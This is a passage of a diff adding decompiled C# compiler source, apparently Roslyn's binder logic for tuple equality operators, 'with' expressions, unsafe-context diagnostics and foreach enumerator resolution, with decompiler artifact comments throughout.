conversionForBoolPlaceholder, conversionForBool, boolOperator); + } + throw ExceptionUtilities.UnexpectedValue((object)boundExpression); + } + return new TupleBinaryOperatorInfo.NullNull(kind); + } + + private void PrepareBoolConversionAndTruthOperator(TypeSymbol type, BinaryExpressionSyntax node, BinaryOperatorKind binaryOperator, BindingDiagnosticBag diagnostics, out BoundExpression conversionForBool, out BoundValuePlaceholder conversionForBoolPlaceholder, out UnaryOperatorSignature boolOperator) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + TypeSymbol specialType = GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node); + Conversion conversion = Conversions.ClassifyImplicitConversionFromType(type, specialType, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if (conversion.IsImplicit) + { + conversionForBoolPlaceholder = new BoundValuePlaceholder((SyntaxNode)(object)node, type).MakeCompilerGenerated(); + conversionForBool = CreateConversion((SyntaxNode)(object)node, conversionForBoolPlaceholder, conversion, isCast: false, null, specialType, diagnostics); + boolOperator = default(UnaryOperatorSignature); + return; + } + UnaryOperatorKind kind = binaryOperator switch + { + BinaryOperatorKind.Equal => UnaryOperatorKind.False, + BinaryOperatorKind.NotEqual => UnaryOperatorKind.True, + _ => throw ExceptionUtilities.UnexpectedValue((object)binaryOperator), + }; + BoundExpression operand = new BoundTupleOperandPlaceholder((SyntaxNode)(object)node, type); + LookupResultKind resultKind; + ImmutableArray originalUserDefinedOperators; + UnaryOperatorAnalysisResult unaryOperatorAnalysisResult = UnaryOperatorOverloadResolution(kind, operand, node, diagnostics, out resultKind, out originalUserDefinedOperators); + if (unaryOperatorAnalysisResult.HasValue) + { + conversionForBoolPlaceholder = new BoundValuePlaceholder((SyntaxNode)(object)node, type).MakeCompilerGenerated(); + conversionForBool = CreateConversion((SyntaxNode)(object)node, conversionForBoolPlaceholder, unaryOperatorAnalysisResult.Conversion, isCast: false, null, unaryOperatorAnalysisResult.Signature.OperandType, diagnostics); + boolOperator = unaryOperatorAnalysisResult.Signature; + } + else + { + GenerateImplicitConversionError(diagnostics, (SyntaxNode)(object)node, conversion, operand, specialType); + conversionForBoolPlaceholder = null; + conversionForBool = null; + boolOperator = default(UnaryOperatorSignature); + } + } + + private TupleBinaryOperatorInfo BindTupleDynamicBinaryOperatorSingleInfo(BinaryExpressionSyntax node, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, BindingDiagnosticBag diagnostics) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + if (!IsLegalDynamicOperand(left) || !IsLegalDynamicOperand(right)) + { + object[] array = new object[3]; + SyntaxToken operatorToken = node.OperatorToken; + array[0] = ((SyntaxToken)(ref operatorToken)).Text; + array[1] = left.Display; + array[2] = right.Display; + Error(diagnostics, ErrorCode.ERR_BadBinaryOps, (CSharpSyntaxNode)node, array); + flag = true; + } + BinaryOperatorKind kind2 = (flag ? kind : kind.WithType(BinaryOperatorKind.Dynamic)); + TypeSymbol obj = (flag ? CreateErrorType() : Compilation.DynamicType); + return new TupleBinaryOperatorInfo.Single(obj, obj, kind2, null, null, null, null, default(UnaryOperatorSignature)); + } + + private TupleBinaryOperatorInfo.Multiple BindTupleBinaryOperatorNestedInfo(BinaryExpressionSyntax node, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, BindingDiagnosticBag diagnostics) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + left = GiveTupleTypeToDefaultLiteralIfNeeded(left, right.Type); + right = GiveTupleTypeToDefaultLiteralIfNeeded(right, left.Type); + if (left.IsLiteralDefaultOrImplicitObjectCreation() || right.IsLiteralDefaultOrImplicitObjectCreation()) + { + ReportBinaryOperatorError(node, diagnostics, node.OperatorToken, left, right, LookupResultKind.Ambiguous); + return TupleBinaryOperatorInfo.Multiple.ErrorInstance; + } + int tupleCardinality = GetTupleCardinality(left); + int tupleCardinality2 = GetTupleCardinality(right); + if (tupleCardinality != tupleCardinality2) + { + Error(diagnostics, ErrorCode.ERR_TupleSizesMismatchForBinOps, (CSharpSyntaxNode)node, new object[2] { tupleCardinality, tupleCardinality2 }); + return TupleBinaryOperatorInfo.Multiple.ErrorInstance; + } + var (elements, immutableArray) = GetTupleArgumentsOrPlaceholders(left); + var (elements2, immutableArray2) = GetTupleArgumentsOrPlaceholders(right); + ReportNamesMismatchesIfAny(left, right, immutableArray, immutableArray2, diagnostics); + int length = elements.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + instance.Add(BindTupleBinaryOperatorInfo(node, kind, elements[i], elements2[i], diagnostics)); + } + CSharpCompilation compilation = Compilation; + ImmutableArray immutableArray3 = instance.ToImmutableAndFree(); + bool num = left.Type?.IsNullableType() ?? false; + bool flag = right.Type?.IsNullableType() ?? false; + bool isNullable = num || flag; + TypeSymbol leftConvertedTypeOpt = MakeConvertedType(ImmutableArrayExtensions.SelectAsArray(immutableArray3, (Func)((TupleBinaryOperatorInfo o) => o.LeftConvertedTypeOpt)), node.Left, elements, immutableArray, isNullable, compilation, diagnostics); + TypeSymbol rightConvertedTypeOpt = MakeConvertedType(ImmutableArrayExtensions.SelectAsArray(immutableArray3, (Func)((TupleBinaryOperatorInfo o) => o.RightConvertedTypeOpt)), node.Right, elements2, immutableArray2, isNullable, compilation, diagnostics); + return new TupleBinaryOperatorInfo.Multiple(immutableArray3, leftConvertedTypeOpt, rightConvertedTypeOpt); + } + + private static void ReportNamesMismatchesIfAny(BoundExpression left, BoundExpression right, ImmutableArray leftNames, ImmutableArray rightNames, BindingDiagnosticBag diagnostics) + { + bool flag = left is BoundTupleExpression; + bool flag2 = right is BoundTupleExpression; + if (!flag && !flag2) + { + return; + } + bool isDefault = leftNames.IsDefault; + bool isDefault2 = rightNames.IsDefault; + if (isDefault && isDefault2) + { + return; + } + ImmutableArray immutableArray = (flag ? ((BoundTupleExpression)left).InferredNamesOpt : default(ImmutableArray)); + bool isDefault3 = immutableArray.IsDefault; + ImmutableArray immutableArray2 = (flag2 ? ((BoundTupleExpression)right).InferredNamesOpt : default(ImmutableArray)); + bool isDefault4 = immutableArray2.IsDefault; + int num = (isDefault ? rightNames.Length : leftNames.Length); + for (int i = 0; i < num; i++) + { + string text = (isDefault ? null : leftNames[i]); + string text2 = (isDefault2 ? null : rightNames[i]); + if (string.CompareOrdinal(text2, text) != 0) + { + bool flag3 = !isDefault3 && immutableArray[i]; + bool flag4 = !isDefault4 && immutableArray2[i]; + bool flag5 = flag && text != null && !flag3; + bool flag6 = flag2 && text2 != null && !flag4; + if (flag5 || flag6) + { + bool num2 = ((flag5 && flag6) ? flag2 : flag6); + Location location = ((BoundTupleExpression)(num2 ? right : left)).Arguments[i].Syntax.Parent.Location; + string text3 = (num2 ? text2 : text); + diagnostics.Add(ErrorCode.WRN_TupleBinopLiteralNameMismatch, location, text3); + } + } + } + } + + internal static BoundExpression GiveTupleTypeToDefaultLiteralIfNeeded(BoundExpression expr, TypeSymbol targetType) + { + if (!expr.IsLiteralDefault() || (object)targetType == null) + { + return expr; + } + return new BoundDefaultExpression(expr.Syntax, targetType); + } + + private static bool IsTupleBinaryOperation(BoundExpression left, BoundExpression right) + { + bool flag = left.IsLiteralDefaultOrImplicitObjectCreation(); + bool flag2 = right.IsLiteralDefaultOrImplicitObjectCreation(); + if (flag && flag2) + { + return false; + } + if (GetTupleCardinality(left) > 1 || flag) + { + return GetTupleCardinality(right) > 1 || flag2; + } + return false; + } + + private static int GetTupleCardinality(BoundExpression expr) + { + if (expr is BoundTupleExpression boundTupleExpression) + { + return boundTupleExpression.Arguments.Length; + } + TypeSymbol type = expr.Type; + if ((object)type == null) + { + return -1; + } + TypeSymbol typeSymbol = type.StrippedType(); + if ((object)typeSymbol != null && typeSymbol.IsTupleType) + { + return typeSymbol.TupleElementTypesWithAnnotations.Length; + } + return -1; + } + + private static (ImmutableArray Elements, ImmutableArray Names) GetTupleArgumentsOrPlaceholders(BoundExpression expr) + { + if (expr is BoundTupleExpression boundTupleExpression) + { + return (Elements: boundTupleExpression.Arguments, Names: boundTupleExpression.ArgumentNamesOpt); + } + TypeSymbol typeSymbol = expr.Type.StrippedType(); + return (Elements: ImmutableArrayExtensions.SelectAsArray(typeSymbol.TupleElementTypesWithAnnotations, (Func)((TypeWithAnnotations t, SyntaxNode s) => new BoundTupleOperandPlaceholder(s, t.Type)), expr.Syntax), Names: typeSymbol.TupleElementNames); + } + + private TypeSymbol MakeConvertedType(ImmutableArray convertedTypes, CSharpSyntaxNode syntax, ImmutableArray elements, ImmutableArray names, bool isNullable, CSharpCompilation compilation, BindingDiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = convertedTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + if ((object)enumerator.Current == null) + { + return null; + } + } + ImmutableArray elementLocations = ImmutableArrayExtensions.SelectAsArray(elements, (Func)((BoundExpression e) => e.Syntax.Location)); + NamedTypeSymbol namedTypeSymbol = NamedTypeSymbol.CreateTuple(null, ImmutableArrayExtensions.SelectAsArray(convertedTypes, (Func)((TypeSymbol t) => TypeWithAnnotations.Create(t))), elementLocations, names, compilation, shouldCheckConstraints: true, includeNullability: false, default(ImmutableArray), syntax, diagnostics); + if (!isNullable) + { + return namedTypeSymbol; + } + return GetSpecialType((SpecialType)32, diagnostics, (SyntaxNode)(object)syntax).Construct(namedTypeSymbol); + } + + internal bool ReportUnsafeIfNotAllowed(SyntaxNode node, BindingDiagnosticBag diagnostics, TypeSymbol sizeOfTypeOpt = null) + { + CSDiagnosticInfo unsafeDiagnosticInfo = GetUnsafeDiagnosticInfo(sizeOfTypeOpt); + if (unsafeDiagnosticInfo == null) + { + return false; + } + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)unsafeDiagnosticInfo, node.Location)); + return true; + } + + internal bool ReportUnsafeIfNotAllowed(Location location, BindingDiagnosticBag diagnostics) + { + CSDiagnosticInfo unsafeDiagnosticInfo = GetUnsafeDiagnosticInfo(null); + if (unsafeDiagnosticInfo == null) + { + return false; + } + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)unsafeDiagnosticInfo, location)); + return true; + } + + private CSDiagnosticInfo GetUnsafeDiagnosticInfo(TypeSymbol sizeOfTypeOpt) + { + if (Flags.Includes(BinderFlags.SuppressUnsafeDiagnostics)) + { + return null; + } + if (IsIndirectlyInIterator) + { + return new CSDiagnosticInfo(ErrorCode.ERR_IllegalInnerUnsafe); + } + if (!InUnsafeRegion) + { + if ((object)sizeOfTypeOpt != null) + { + return new CSDiagnosticInfo(ErrorCode.ERR_SizeofUnsafe, sizeOfTypeOpt); + } + return new CSDiagnosticInfo(ErrorCode.ERR_UnsafeNeeded); + } + return null; + } + + private BoundExpression BindWithExpression(WithExpressionSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureRecords.CheckFeatureAvailability(diagnostics, syntax.WithKeyword); + BoundExpression boundExpression = BindRValueWithoutTargetType(syntax.Expression, diagnostics); + TypeSymbol typeSymbol = boundExpression.Type; + bool hasErrors = false; + if ((object)typeSymbol == null || typeSymbol.IsVoidType()) + { + diagnostics.Add(ErrorCode.ERR_InvalidWithReceiverType, ((SyntaxNode)syntax.Expression).Location); + typeSymbol = CreateErrorType(); + } + MethodSymbol methodSymbol = null; + if (typeSymbol.IsValueType && !typeSymbol.IsPointerOrFunctionPointer()) + { + CheckFeatureAvailability((SyntaxNode)(object)syntax, MessageID.IDS_FeatureWithOnStructs, diagnostics); + } + else if (typeSymbol.IsAnonymousType && !typeSymbol.IsDelegateType()) + { + CheckFeatureAvailability((SyntaxNode)(object)syntax, MessageID.IDS_FeatureWithOnAnonymousTypes, diagnostics); + } + else if (!typeSymbol.IsErrorType()) + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + methodSymbol = SynthesizedRecordClone.FindValidCloneMethod((typeSymbol is TypeParameterSymbol typeParameterSymbol) ? typeParameterSymbol.EffectiveBaseClass(ref useSiteInfo) : typeSymbol, ref useSiteInfo); + if ((object)methodSymbol == null) + { + hasErrors = true; + diagnostics.Add(ErrorCode.ERR_CannotClone, ((SyntaxNode)syntax.Expression).Location, typeSymbol); + } + else + { + methodSymbol.AddUseSiteInfo(ref useSiteInfo); + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)syntax.Expression, useSiteInfo); + } + BoundObjectInitializerExpressionBase initializerExpression = BindInitializerExpression(syntax.Initializer, typeSymbol, (SyntaxNode)(object)syntax.Expression, isForNewInstance: true, diagnostics); + return new BoundWithExpression((SyntaxNode)(object)syntax, boundExpression, methodSymbol, initializerExpression, typeSymbol, hasErrors); + } + + internal ImmutableArray BindXmlNameAttribute(XmlNameAttributeSyntax syntax, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + IdentifierNameSyntax identifier = syntax.Identifier; + if (((SyntaxNode)identifier).IsMissing) + { + return ImmutableArray.Empty; + } + SyntaxToken identifier2 = identifier.Identifier; + string valueText = ((SyntaxToken)(ref identifier2)).ValueText; + LookupResult instance = LookupResult.GetInstance(); + LookupSymbolsWithFallback(instance, valueText, 0, ref useSiteInfo); + if (instance.Kind == LookupResultKind.Empty) + { + instance.Free(); + return ImmutableArray.Empty; + } + ImmutableArray result = instance.Symbols.ToImmutable(); + instance.Free(); + return result; + } + + protected BoundExpression ConvertForEachCollection(BoundExpression collectionExpr, Conversion collectionConversionClassification, TypeSymbol collectionType, BindingDiagnosticBag diagnostics) + { + BoundExpression boundExpression = CreateConversion(collectionExpr.Syntax, collectionExpr, collectionConversionClassification, isCast: false, null, collectionType, diagnostics); + if ((boundExpression as BoundConversion)?.Operand != collectionExpr) + { + boundExpression = new BoundConversion(collectionExpr.Syntax, collectionExpr, collectionConversionClassification, CheckOverflowAtRuntime, explicitCastInCode: false, null, null, collectionType); + } + return boundExpression; + } + + internal bool GetEnumeratorInfoAndInferCollectionElementType(SyntaxNode syntax, ExpressionSyntax collectionSyntax, ref BoundExpression collectionExpr, bool isAsync, BindingDiagnosticBag diagnostics, out TypeWithAnnotations inferredType, out ForEachEnumeratorInfo.Builder builder) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Invalid comparison between Unknown and I4 + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Invalid comparison between Unknown and I4 + bool enumeratorInfo = GetEnumeratorInfo(syntax, collectionSyntax, ref collectionExpr, isAsync, diagnostics, out builder); + if (!enumeratorInfo) + { + inferredType = default(TypeWithAnnotations); + return enumeratorInfo; + } + if (collectionExpr.HasDynamicType()) + { + inferredType = TypeWithAnnotations.Create(DynamicTypeSymbol.Instance); + return enumeratorInfo; + } + if ((int)collectionExpr.Type.SpecialType == 20 && (int)builder.CollectionType.SpecialType == 24) + { + inferredType = TypeWithAnnotations.Create(GetSpecialType((SpecialType)8, diagnostics, collectionExpr.Syntax)); + return enumeratorInfo; + } + inferredType = builder.ElementTypeWithAnnotations; + return enumeratorInfo; + } + + private BoundExpression UnwrapCollectionExpressionIfNullable(BoundExpression collectionExpr, BindingDiagnosticBag diagnostics) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = collectionExpr.Type; + if ((object)type != null && type.IsNullableType()) + { + SyntaxNode syntax = collectionExpr.Syntax; + MethodSymbol methodSymbol = (MethodSymbol)GetSpecialTypeMember((SpecialMember)115, diagnostics, syntax); + if ((object)methodSymbol != null) + { + methodSymbol = methodSymbol.AsMember((NamedTypeSymbol)type); + return BoundCall.Synthesized(syntax, collectionExpr, ReceiverIsSubjectToCloning(collectionExpr, methodSymbol), methodSymbol); + } + return new BoundBadExpression(syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArray.Create(collectionExpr), type.GetNullableUnderlyingType()) + { + WasCompilerGenerated = true + }; + } + return collectionExpr; + } + + private bool GetEnumeratorInfo(SyntaxNode syntax, ExpressionSyntax collectionSyntax, ref BoundExpression collectionExpr, bool isAsync, BindingDiagnosticBag diagnostics, out ForEachEnumeratorInfo.Builder builder) + { + BoundExpression collectionExpr2 = collectionExpr; + switch (GetEnumeratorInfoCore(syntax, collectionSyntax, ref collectionExpr, isAsync, diagnostics, out builder)) + { + case EnumeratorResult.Succeeded: + return true; + case EnumeratorResult.FailedAndReported: + return false; + default: + { + TypeSymbol type = collectionExpr.Type; + if (string.IsNullOrEmpty(type.Name) && collectionExpr.HasErrors) + { + return false; + } + if (type.IsErrorType()) + { + return false; + } + ForEachEnumeratorInfo.Builder builder2; + ErrorCode code = ((GetEnumeratorInfoCore(syntax, collectionSyntax, ref collectionExpr2, !isAsync, BindingDiagnosticBag.Discarded, out builder2) != EnumeratorResult.Succeeded) ? (isAsync ? ErrorCode.ERR_AwaitForEachMissingMember : ErrorCode.ERR_ForEachMissingMember) : (isAsync ? ErrorCode.ERR_AwaitForEachMissingMemberWrongAsync : ErrorCode.ERR_ForEachMissingMemberWrongAsync)); + diagnostics.Add(code, ((SyntaxNode)collectionSyntax).Location, type, isAsync ? "GetAsyncEnumerator" : "GetEnumerator"); + return false; + } + } + } + + private EnumeratorResult GetEnumeratorInfoCore(SyntaxNode syntax, ExpressionSyntax collectionSyntax, ref BoundExpression collectionExpr, bool isAsync, BindingDiagnosticBag diagnostics, out ForEachEnumeratorInfo.Builder builder) + { + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_01f1: Unknown result type (might be due to invalid IL or missing references) + //IL_01f3: Unknown result type (might be due to invalid IL or missing references) + //IL_0222: Unknown result type (might be due to invalid IL or missing references) + //IL_0229: Invalid comparison between Unknown and I4 + //IL_01aa: Unknown result type (might be due to invalid IL or missing references) + //IL_01b6: Unknown result type (might be due to invalid IL or missing references) + //IL_01bd: Invalid comparison between Unknown and I4 + //IL_01c3: Unknown result type (might be due to invalid IL or missing references) + //IL_01c7: Unknown result type (might be due to invalid IL or missing references) + //IL_01cc: Unknown result type (might be due to invalid IL or missing references) + if (!isAsync) + { + TypeSymbol? type = collectionExpr.Type; + if ((object)type != null && type.HasInlineArrayAttribute(out var _)) + { + FieldSymbol fieldSymbol = collectionExpr.Type.TryGetPossiblyUnsupportedByLanguageInlineArrayElementField(); + if ((object)fieldSymbol != null) + { + bool inlineArrayUsedAsValue = false; + WellKnownType val; + if (CheckValueKind(collectionExpr.Syntax, collectionExpr, BindValueKind.Assignable | BindValueKind.RefersToLocation, checkingReceiver: false, BindingDiagnosticBag.Discarded)) + { + val = (WellKnownType)275; + } + else + { + val = (WellKnownType)276; + if (!CheckValueKind(collectionExpr.Syntax, collectionExpr, BindValueKind.RefersToLocation, checkingReceiver: false, BindingDiagnosticBag.Discarded)) + { + inlineArrayUsedAsValue = true; + } + } + NamedTypeSymbol wellKnownType = GetWellKnownType(val, diagnostics, collectionExpr.Syntax); + if (wellKnownType.IsErrorType()) + { + builder = default(ForEachEnumeratorInfo.Builder); + return EnumeratorResult.FailedAndReported; + } + wellKnownType = wellKnownType.Construct(ImmutableArray.Create(fieldSymbol.TypeWithAnnotations)); + wellKnownType.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(Compilation, Conversions, collectionExpr.Syntax.GetLocation(), diagnostics)); + if (!TypeSymbol.IsInlineArrayElementFieldSupported(fieldSymbol)) + { + diagnostics.Add(ErrorCode.ERR_InlineArrayForEachNotSupported, collectionExpr.Syntax.GetLocation(), collectionExpr.Type); + builder = default(ForEachEnumeratorInfo.Builder); + return EnumeratorResult.FailedAndReported; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + BoundExpression collectionExpr2 = new BoundValuePlaceholder(collectionExpr.Syntax, wellKnownType).MakeCompilerGenerated(); + EnumeratorResult enumeratorResult = getEnumeratorInfo(syntax, collectionSyntax, ref collectionExpr2, isAsync: false, instance, out builder); + if (!builder.ViaExtensionMethod && ((enumeratorResult == EnumeratorResult.Succeeded && builder.ElementTypeWithAnnotations.Equals(fieldSymbol.TypeWithAnnotations, (TypeCompareKind)63) && builder.CurrentPropertyGetter?.RefKind == (RefKind?)(((int)val != 276) ? 1 : 3)) || enumeratorResult == EnumeratorResult.FailedAndReported)) + { + builder.CollectionType = collectionExpr.Type; + builder.InlineArraySpanType = val; + builder.InlineArrayUsedAsValue = inlineArrayUsedAsValue; + ((BindingDiagnosticBag)(object)diagnostics).AddRangeAndFree((BindingDiagnosticBag)(object)instance); + CheckFeatureAvailability(collectionExpr.Syntax, MessageID.IDS_FeatureInlineArrays, diagnostics); + if (enumeratorResult == EnumeratorResult.Succeeded) + { + if ((int)val == 276) + { + GetWellKnownTypeMember((WellKnownMember)131, diagnostics, null, collectionExpr.Syntax); + } + GetWellKnownTypeMember((WellKnownMember)129, diagnostics, null, collectionExpr.Syntax); + GetWellKnownTypeMember((WellKnownMember)130, diagnostics, null, collectionExpr.Syntax); + } + return enumeratorResult; + } + ((BindingDiagnosticBag)(object)instance).Free(); + diagnostics.Add(ErrorCode.ERR_InlineArrayForEachNotSupported, collectionExpr.Syntax.GetLocation(), collectionExpr.Type); + builder = default(ForEachEnumeratorInfo.Builder); + return EnumeratorResult.FailedAndReported; + } + } + } + return getEnumeratorInfo(syntax, collectionSyntax, ref collectionExpr, isAsync, diagnostics, out builder); + EnumeratorResult createPatternBasedEnumeratorResult(ref ForEachEnumeratorInfo.Builder reference, BoundExpression boundExpression, bool flag, bool viaExtensionMethod, BindingDiagnosticBag bindingDiagnosticBag) + { + reference.ViaExtensionMethod = viaExtensionMethod; + reference.CollectionType = (viaExtensionMethod ? reference.GetEnumeratorInfo.Method.Parameters[0].Type : boundExpression.Type); + if (SatisfiesForEachPattern(syntax, collectionSyntax, ref reference, flag, bindingDiagnosticBag)) + { + reference.ElementTypeWithAnnotations = ((PropertySymbol)reference.CurrentPropertyGetter.AssociatedSymbol).TypeWithAnnotations; + GetDisposalInfoForEnumerator(syntax, ref reference, boundExpression, flag, bindingDiagnosticBag); + return EnumeratorResult.Succeeded; + } + MethodSymbol method = reference.GetEnumeratorInfo.Method; + bindingDiagnosticBag.Add(flag ? ErrorCode.ERR_BadGetAsyncEnumerator : ErrorCode.ERR_BadGetEnumerator, ((SyntaxNode)collectionSyntax).Location, method.ReturnType, method); + return EnumeratorResult.FailedAndReported; + } + EnumeratorResult getEnumeratorInfo(SyntaxNode syntax2, ExpressionSyntax expressionSyntax, ref BoundExpression reference2, bool flag, BindingDiagnosticBag bindingDiagnosticBag, out ForEachEnumeratorInfo.Builder reference) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Invalid comparison between Unknown and I4 + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Invalid comparison between Unknown and I4 + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_018e: Invalid comparison between Unknown and I4 + reference = default(ForEachEnumeratorInfo.Builder); + reference.IsAsync = flag; + TypeSymbol type2 = reference2.Type; + if ((object)type2 == null) + { + if (!ReportConstantNullCollectionExpr(reference2, bindingDiagnosticBag)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_AnonMethGrpInForEach, ((SyntaxNode)expressionSyntax).Location, reference2.Display); + } + return EnumeratorResult.FailedAndReported; + } + if (reference2.ResultKind == LookupResultKind.NotAValue) + { + return EnumeratorResult.FailedAndReported; + } + if ((int)type2.Kind == 3 && flag) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_BadDynamicAwaitForEach, ((SyntaxNode)expressionSyntax).Location); + return EnumeratorResult.FailedAndReported; + } + if ((int)type2.Kind == 1 || (int)type2.Kind == 3) + { + if (ReportConstantNullCollectionExpr(reference2, bindingDiagnosticBag)) + { + return EnumeratorResult.FailedAndReported; + } + reference = GetDefaultEnumeratorInfo(syntax2, reference, bindingDiagnosticBag, type2); + return EnumeratorResult.Succeeded; + } + BoundExpression boundExpression = UnwrapCollectionExpressionIfNullable(reference2, bindingDiagnosticBag); + TypeSymbol type3 = boundExpression.Type; + if (SatisfiesGetEnumeratorPattern(syntax2, expressionSyntax, ref reference, boundExpression, flag, viaExtensionMethod: false, bindingDiagnosticBag)) + { + reference2 = boundExpression; + if (ReportConstantNullCollectionExpr(reference2, bindingDiagnosticBag)) + { + return EnumeratorResult.FailedAndReported; + } + return createPatternBasedEnumeratorResult(ref reference, boundExpression, flag, viaExtensionMethod: false, bindingDiagnosticBag); + } + if (!flag && IsIEnumerable(type3)) + { + reference2 = boundExpression; + bindingDiagnosticBag.Add(ErrorCode.ERR_ForEachMissingMember, ((SyntaxNode)expressionSyntax).Location, type3, "GetEnumerator"); + return EnumeratorResult.FailedAndReported; + } + if (flag && IsIAsyncEnumerable(type3)) + { + reference2 = boundExpression; + bindingDiagnosticBag.Add(ErrorCode.ERR_AwaitForEachMissingMember, ((SyntaxNode)expressionSyntax).Location, type3, "GetAsyncEnumerator"); + return EnumeratorResult.FailedAndReported; + } + EnumeratorResult enumeratorResult2 = SatisfiesIEnumerableInterfaces(expressionSyntax, ref reference, boundExpression, flag, bindingDiagnosticBag, type3); + if (enumeratorResult2 != EnumeratorResult.FailedNotReported) + { + reference2 = boundExpression; + return enumeratorResult2; + } + if (!flag && (int)type2.SpecialType == 20) + { + if (ReportConstantNullCollectionExpr(reference2, bindingDiagnosticBag)) + { + return EnumeratorResult.FailedAndReported; + } + reference = GetDefaultEnumeratorInfo(syntax2, reference, bindingDiagnosticBag, type2); + return EnumeratorResult.Succeeded; + } + if (SatisfiesGetEnumeratorPattern(syntax2, expressionSyntax, ref reference, reference2, flag, viaExtensionMethod: true, bindingDiagnosticBag)) + { + return createPatternBasedEnumeratorResult(ref reference, reference2, flag, viaExtensionMethod: true, bindingDiagnosticBag); + } + return EnumeratorResult.FailedNotReported; + } + } + + private EnumeratorResult SatisfiesIEnumerableInterfaces(ExpressionSyntax collectionSyntax, ref ForEachEnumeratorInfo.Builder builder, BoundExpression collectionExpr, bool isAsync, BindingDiagnosticBag diagnostics, TypeSymbol unwrappedCollectionExprType) + { + if (!AllInterfacesContainsIEnumerable(collectionSyntax, ref builder, unwrappedCollectionExprType, isAsync, diagnostics, out var foundMultiple)) + { + return EnumeratorResult.FailedNotReported; + } + if (ReportConstantNullCollectionExpr(collectionExpr, diagnostics)) + { + return EnumeratorResult.FailedAndReported; + } + if (foundMultiple) + { + diagnostics.Add(isAsync ? ErrorCode.ERR_MultipleIAsyncEnumOfT : ErrorCode.ERR_MultipleIEnumOfT, ((SyntaxNode)collectionSyntax).Location, unwrappedCollectionExprType, isAsync ? Compilation.GetWellKnownType((WellKnownType)288) : Compilation.GetSpecialType((SpecialType)25)); + return EnumeratorResult.FailedAndReported; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)builder.CollectionType; + if (namedTypeSymbol.IsGenericType) + { + builder.ElementTypeWithAnnotations = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Single(); + MethodSymbol methodSymbol; + if (isAsync) + { + methodSymbol = (MethodSymbol)GetWellKnownTypeMember(Compilation, (WellKnownMember)427, diagnostics, ((SyntaxNode)collectionSyntax).Location); + if ((object)methodSymbol != null && !methodSymbol.Parameters[0].IsOptional) + { + diagnostics.Add(ErrorCode.ERR_AwaitForEachMissingMember, ((SyntaxNode)collectionSyntax).Location, unwrappedCollectionExprType, "GetAsyncEnumerator"); + return EnumeratorResult.FailedAndReported; + } + } + else + { + methodSymbol = (MethodSymbol)GetSpecialTypeMember((SpecialMember)89, diagnostics, (SyntaxNode)(object)collectionSyntax); + } + MethodSymbol methodSymbol2 = null; + if ((object)methodSymbol != null) + { + MethodSymbol methodSymbol3 = methodSymbol.AsMember(namedTypeSymbol); + TypeSymbol returnType = methodSymbol3.ReturnType; + builder.GetEnumeratorInfo = BindDefaultArguments(methodSymbol3, null, expanded: false, collectionExpr.Syntax, diagnostics, assertMissingParametersAreOptional: false); + MethodSymbol methodSymbol5; + if (isAsync) + { + MethodSymbol methodSymbol4 = (MethodSymbol)GetWellKnownTypeMember((WellKnownMember)428, diagnostics, ((SyntaxNode)collectionSyntax).Location); + if ((object)methodSymbol4 != null) + { + methodSymbol2 = methodSymbol4.AsMember((NamedTypeSymbol)returnType); + } + methodSymbol5 = (MethodSymbol)GetWellKnownTypeMember(Compilation, (WellKnownMember)429, diagnostics, ((SyntaxNode)collectionSyntax).Location); + } + else + { + methodSymbol5 = (MethodSymbol)GetSpecialTypeMember((SpecialMember)91, diagnostics, (SyntaxNode)(object)collectionSyntax); + } + if ((object)methodSymbol5 != null) + { + builder.CurrentPropertyGetter = methodSymbol5.AsMember((NamedTypeSymbol)returnType); + } + } + if (!isAsync) + { + methodSymbol2 = (MethodSymbol)GetSpecialTypeMember((SpecialMember)87, diagnostics, (SyntaxNode)(object)collectionSyntax); + } + if ((object)methodSymbol2 != 